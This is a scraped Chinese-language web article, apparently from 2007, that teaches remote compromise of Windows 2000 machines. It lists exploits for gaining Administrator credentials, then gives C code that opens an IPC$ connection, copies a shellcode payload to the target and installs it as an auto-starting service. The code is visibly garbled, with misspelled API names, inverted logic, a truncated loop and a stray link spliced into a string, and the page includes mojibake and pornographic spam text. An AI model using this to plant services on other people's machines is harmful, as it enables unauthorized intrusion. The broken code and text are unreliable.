• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • CC++建立IPC連接之后續操作

    發表于:2007-07-14來源:作者:點擊數: 標簽:
    如何建立IPC連接呢?不用我說,大家都知道: net use \\ip\\ipc$ password /user:user。在這里,我們應想辦法得到Administrator的權限的帳戶和密碼,方法有很多: ⑴流光掃描 ⑵NULL.printer緩沖區溢出 ⑶MS SQL 空密碼 ⑷Unicode漏洞 ⑸遠程終端輸入法漏洞
    如何建立IPC連接呢?不用我說,大家都知道:

      net use \\ip\\ipc$ password /user:user。在這里,我們應想辦法得到Administrator的權限的帳戶和密碼,方法有很多:

     ?、帕鞴鈷呙?

     ?、芅ULL.printer緩沖區溢出

     ?、荕S SQL空密碼

     ?、萓nicode漏洞

     ?、蛇h程終端輸入法漏洞

     ?、蔵dq.dll漏洞

      ……太多了!具體方法我就不說了。

      得到Windows 2k administrator權限以后,可以做什么呢?想做什么就做什么唄!裝什么服務的,當然是自己寫的服務程序啦!你看s如何呢?下面就從編程的角度的來談談,讀者要有一定的網絡編程基礎,同時有的地方沒給出錯誤檢查,有部分代碼是參考別人的。一些函數和結構請參考MSDN。不足之處還請讀者自己完善,也可以和我交流:heavyd@cngale.com。下面請看:

      1、如何建立IPC連接,請看以下代碼:

    BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
    { char tmp[128]="\\\\";
     strcat(tmp,RemoteName);
     strcat(tmp,"\\ipc$");
     NETRESOUCE NetResouce;
     NetResouce.lpRemoteName=tmp;
     NetResouce.dwType=RESOURCETYPE_ANY;
     NetResouce.lpProvider=NULL;
     if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
      //建立連接!
      return FALSE;
     else
      return TRUE;
    }

      是不是很簡單?對!就這么簡單!那么,接著來吧!
    2、開始把程序寫到主機上吧!

    BOOL SendFile(char *RemotePathAndFile)
    {
     HANDLE hRF;
     unsigned char ShellCode[]="write code here,such as \x90\x90";
     int WrittenSize=0;
     int Lenth=sizeof(ShellCode);
     hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
     CREATE_ALWAYS,
     FILE_ATTRIBUTE_NORMAL,
     NUL L);//建立文件
    if (hRF==INVALID_HANDLE_values) return FALSE;
    //寫文件過程:
    for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
    return FALSE;
    Printf("Send file suclearcase/" target="_blank" >cceed!\n");
    }


      3、就要成功了,最后一步啦!--啟動服務!

      步驟:a、啟動服務控制管理器(SCM),獲得以SCM_HANDLE為類型的hSCM句柄;

         b、建立服務(CreateService),也是返回SCM_HANDLE型的句柄hSCS;

         c、啟動服務(StartService)

         d、順便提提:ControService可以控制服務的狀態

         如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);

           //停止服務

           ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);

           //暫停服務

      請看下面代碼:

    BOOL InstallService(char * Target,char * ServiceName,char * Filename,)
    {
    SC_HANDLE hSCM=NULL,hSCS=NULL;
    SERVICE_STATUS ServiceStatus;
    hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_ACCESS);
    hSCS=CreateService(hSCM, //句柄
    ServiceName,//服務開始名
    ServiceName,//顯示服務名
    SERVICE_ALL_ACCESS,//服務訪問類型
    SERVICE_WIN32_OWN_PROCESS,//服務類型
    SERVICE_AUTO_START,//自動啟動服務
    SERVICE_ERROR_IGNORE,//忽略錯誤
    FileName,//啟動的文件名
    NULL,//name of load ordering group (載入組名)
    NULL,//標簽標識符
    NULL,//相關性數組名
    NULL,//帳戶(當前)
    NULL);//密碼(當前)

    if(StartServic(hSCS,
    argc,//參數數
    argv);//參數
    {
     Sleep(30);//延時,開始啟動服務
    while(QueryServiceStatus(hSCS,&ServiceStatus)
    {
    if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
    Sleep(30);
    else break;
    }
    if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
    return TRUE;
    else FALSE;
    }
    }


      好了,終于完成了這三步,大家可以慢慢享受自己的勞動成果了!

      注意:以上程序僅供參考,請在自己理解以后自己把它們寫成完整的程序,不要直接照搬!

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>